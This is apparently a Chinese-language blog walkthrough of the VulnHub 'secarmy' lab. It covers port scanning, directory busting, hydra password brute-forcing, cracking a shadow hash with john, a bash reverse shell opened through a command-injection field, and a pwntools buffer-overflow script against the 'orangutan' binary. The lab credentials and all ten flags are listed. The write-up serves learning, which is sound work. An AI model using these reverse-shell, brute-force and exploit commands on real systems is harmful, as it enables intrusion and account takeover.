vulnhub靶场——secarmy

靶机:secarmy靶机,IP地址为192.168.230.18

攻击:kali,IP地址为192.168.230.134

靶机和攻击机都采用VMware虚拟机,都采用NAT模式


端口扫描:

nmap 192.168.230.18 -O -A -p- --reason -sV

21/tcp (ftp): 开放的FTP服务,运行的是vsftpd 2.0.8或更新版本。并且允许匿名登录。

22/tcp (ssh): 开放的SSH服务,使用OpenSSH 7.6p1 Ubuntu 4ubuntu0.3版本。提供了RSA、ECDSA和ED25519三种类型的公钥指纹。

80/tcp (http): 开放的HTTP服务,使用Apache httpd 2.4.29版本。网站标题为"Totally Secure Website",暗示可能是一个测试环境或者故意设置的不安全示例。

1337/tcp: 这个端口开放的服务未能被准确识别(标记为waste?),但是从返回的数据中可以推测出它可能是某种密码恢复设施接口。尝试与之交互时,它要求提供一个"超级秘密令牌"才能继续。


FTP信息探测:

先匿名登录ftp,无密码直接Enter回车就行:

ftp anonymous@192.168.230.18

anonymous是匿名方式登录

pwd

ls -la

发现没有任何目录和文件,无结果


80端口探测:

提到了80端口开放的HTTP服务,先进入网站看看:

http://192.168.230.18


使用whatweb识别网站配置:

whatweb http://192.168.230.18 -v


用dirsearch扫不出来隐藏目录,换成gobuster,查找隐藏的php、html、txt、zip文件:

gobuster dir -u http://192.168.230.18 -w /home/kali/Desktop/test/dic/directory-list-2.3-big.txt -x php,html,txt,zip

字典太大了,不用跑完也行,但能看出有个/anon目录


访问http://192.168.230.18/anon

查看源代码:

得到uno:luc10r4m0n


将这一组凭证保存下来,放置在文件test.txt中,使用hydra进行验证这一组凭证,因为有先前的两个端口21/ftp和22/ssh

hydra -C test.txt 192.168.230.18 ftp

hydra -C test.txt 192.168.230.18 ssh

可以看到ftp服务和ssh服务都能登录


FTP登录:

ftp uno@192.168.230.18

看到有个flag1.txt和readme.txt,先下载下来

get flag1.txt

get readme.txt

得知:

flag1{fb9e88}

要获取第二个用户名,密码已经知道是4b3l4rd0fru705


用户名爆破:

使用ssh服务:

ssh uno@192.168.230.18


查看当前系统有什么用户:

ls -l /home

cat /etc/passwd | grep /bin/bash


打印出有执行权限的用户名:

cat /etc/passwd | grep /bin/bash | awk -F':x' '{print $1}'

另存为users.txt文件,并继续爆破

hydra -L users.txt -p 4b3l4rd0fru705 192.168.230.18 ssh

得知第二个用户是dos:4b3l4rd0fru705


grep妙用与编码处理:

用第二个用户进行ssh登录:

ssh dos@192.168.230.18

ls -la

cat readme.txt


使用grep -l命令在files文件夹里查找字符串:

(grep -l是只返回文件名,不返回其他)

grep -l "a8211ac1853a1235d48829414626512a" files/*

cat files/file4444.txt后看到文件末尾有提示"Look inside file3131.txt"

cd files

cat file3131.txt


放随波逐流和赛博厨师里看看:

发现是个zip文件而且经过base64编码


将其输出成1.zip,并解压:

echo '***' | base64 -d > 1.zip

unzip 1.zip

得知:

flag2{624a21}

secret token:

c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b

提到WASTE和token,一般都是nc连接才用得到(之前做过中科大hackergame2024时遇到过需要输入token),而且对应上先前的1337/waste,下一步应该就是nc连接了


1337端口测试:

nc连接输入token:

nc 192.168.230.18 1337

显示第三个用户是tres:r4f43l71n4j3r0


继续ssh连接:

ssh tres@192.168.230.18

得知:

flag3{ac66cf}

看来下一步就是需要逆向secarmy-village文件了


strings查看与UPX解壳:

先将secarmy-village下载下来:

scp tres@192.168.230.18:/home/tres/secarmy-village /home/kali/Desktop/test/dic/


查壳发现有个UPX壳:

upx -d E:\downloads\secarmy-village

成功脱除UPX壳


再上传脱壳后的secarmy-village文件,用strings查看:

strings secarmy-village | grep user

(根据先前的经验一般都是有user等关键词)

得知用户名及密码:

cuatro:p3dr00l1v4r3z


继续ssh连接:

ssh cuatro@192.168.230.18

得知:

flag4{1d6b06}

访问/justanothergallery路径来查看这些图片


二维码批量解析:

访问http://192.168.230.18/justanothergallery

发现是一堆二维码图片


先下载全部的二维码:

wget -r -A.png http://192.168.230.18/justanothergallery

-r:递归地下载网页

-A:指定.png文件下载


压缩为qr.zip文件,并下载到本机上:

tar zcvf qr.zip qr


再用QR_Research来一个个扫码:

最后在image-53.png扫出用户名和密码:cinco:ruy70m35


继续ssh连接:

ssh cinco@192.168.230.18

得知:

flag5{b1e870}

寻找Cinco用户的秘密空间,在主目录之外


hash暴力破解:

查找所有属于用户cinco的文件或目录:

find / -user cinco 2>/dev/null

找到关键词"secret",进入该目录,赋予shadow.bak权限并查看该文件内容:

ROCKYOU?有点懵,先看到一串特别长的字符串:

seis:6MCzqLn0Z2KB3X3TM$opQCwc/JkRGzfOg/WTve8X/zSQLwVf98I.RisZCFo0mTQzpvc5zqm/0OJ5k.PITcFJBnsn7Nu2qeFP8zkBwx7.:18532:0:99999:7:::

问问AI,发现是用户seis的加密密码


先将shadow.bak文件下载下来:

scp cinco@192.168.230.18:/cincos-secrets/shadow.bak /home/kali

经了解有个rockyou.txt的字典文件,可以用join来配合进行爆破:

john --wordlist=rockyou.txt shadow.bak

爆出来用户名及密码:

seis:Hogwarts


继续ssh连接:

ssh seis@192.168.230.18

得知:

flag6{779a25}


常见的网站路径及命令执行漏洞:

访问网页,发现是个Shell CMS:

http://192.168.230.18/shellcmsdashboard

先用dirsearch扫描一下,扫出来有个robots.txt文件:

dirsearch -u "http://192.168.230.18/shellcmsdashboard" -e*

访问之后看到直接给出用户名及密码admin/qwerty:

登录之后提示去访问/aabbzzee.php:


访问后发现有个输入框:

能够执行ls命令,但想要执行cat readme9213.txt时却没有反应:

接下来可以直接burp爆破一下哪些命令可以执行,但按照经验先进行一下bash反弹shell:

nc -lvvp 9999

bash -c "bash -i >& /dev/tcp/192.168.230.134/9999 0>&1"

得知第七个用户的密码是6u1l3rm0p3n473,但是不知道用户名是什么


根据先前的经验,继续用hydra爆破:

hydra -L users.txt -p 6u1l3rm0p3n473 192.168.230.18 ssh

爆出用户名及密码:

siete:6u1l3rm0p3n473


base系列的位运算:

继续ssh连接:

ssh siete@192.168.230.18

得知flag和一堆文件:

flag7{d5c26a}


直接将所有东西下载下来再看:

ftp siete@192.168.230.18

mget *

password.zip需要解压密码

根据hint.txt的提示,Base 10和Base 256进行某种运算结果是Base 265,这里应该是提示进行位运算

根据message.txt的内容,应该是原始数据

根据key.txt的内容,应该是与x进行位运算

不是很懂,还是让AI来分析一下:

复制代码
def decrypt_message():
    # 从message.txt获取的数字序列
    numbers = [11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8]
    # 从key.txt获取的密钥
    key = ord('x')
    
    # 将数字转换为字节并应用XOR解密
    decrypted = bytes([n ^ key for n in numbers])
    
    # 输出解密结果
    print(f"解密后的密码: {decrypted.decode('utf-8')}")

if __name__ == "__main__":
    decrypt_message()

得知解压密码是:secarmyxoritup


unzip password.zip,成功解压password.zip文件得到password.txt文件:

得知下一个用户的密码是m0d3570v1ll454n4


继续用hydra爆破:

hydra -L users.txt -p m0d3570v1ll454n4 192.168.230.18 ssh

爆出用户ocho:m0d3570v1ll454n4


流量包分析与键盘密码:

继续ssh连接:

ssh ocho@192.168.230.18

得知:

flag8{5bcf53}

将keyboard.pcapng下载下来:

scp ocho@192.168.230.18:/home/ocho/keyboard.pcapng /home/kali/Desktop/test/dic/


wireshark打开,http.request.method==GET,发现none.txt出现多次,追踪http流:

报文内容太长了,让AI分析一下可疑的地方:

直接找出来了:"mjwfr?2b6j3a5fx/"


去keyboard网站解密:https://www.dcode.fr/keyboard-shift-cipher

解出用户名及密码:

nueve:355u4z4rc0


继续ssh连接:

ssh nueve@192.168.230.18

得知:

flag9{689d3e}


应该是要通过orangutan来进行提权?用strings分析一下,发现关键词:

看来是CTF里的pwn啊,先下载下来

ftp nueve@192.168.230.18

get orangutan


检查附件的保护方式,发现是64位程序,开启了NX保护:

checksec orangutan


用IDA打开,shift+F12发现"/bin/sh":

到这里不会了,pwn不熟悉,直接看国外的WP了

复制代码
from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.230.18',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)
conn.interactive()

先在靶机运行:socat TCP-LISTEN:8000,fork EXEC:./orangutan

再在kali上运行:python test.py

cd /root

ls -la

cat root.txt

得知:

flag10{33c9661bfd}


总结:

flag1{fb9e88}

flag2{624a21}

flag3{ac66cf}

flag4{1d6b06}

flag5{b1e870}

flag6{779a25}

flag7{d5c26a}

flag8{5bcf53}

flag9{689d3e}

flag10{33c9661bfd}

相关推荐
白书宇1 分钟前
5.从零开始写LINUX内核--从实模式到保护模式的过渡实现
linux·汇编·数据库·开源
野生柚子34 分钟前
记录学习K8s 集群中OOM Killer的决策基准及执行流程
linux·运维
TLucas2 小时前
在CentOS 7上将PostgreSQL数据库从默认路径迁移到自定义目录
linux·运维·postgresql·centos
guidovans2 小时前
基于tkinter开发电脑工具集(源码在底部)
linux·windows·python·gui·tkinter
菜菜子爱学习3 小时前
Nginx学习笔记(九)—— Nginx Rewrite深度解析
linux·运维·笔记·学习·nginx
Tearstornbyrain4 小时前
在Ubuntu24.04中使用ssh连接本地git仓库到github远程仓库
linux·git·ubuntu·ssh·github
浩浩测试一下5 小时前
02高级语言逻辑结构到汇编语言之逻辑结构转换 if (...) {...} else {...} 结构
汇编·数据结构·数据库·redis·安全·网络安全·缓存
Jia ming5 小时前
【奔跑吧!Linux 内核(第二版)】第6章:简单的字符设备驱动(三)
linux
星哥说事6 小时前
如何将堡塔云WAF备份、迁移到新的服务器
linux
ycchenG76 小时前
缓存元数据损坏操作步骤(lvmcache修复)
linux·缓存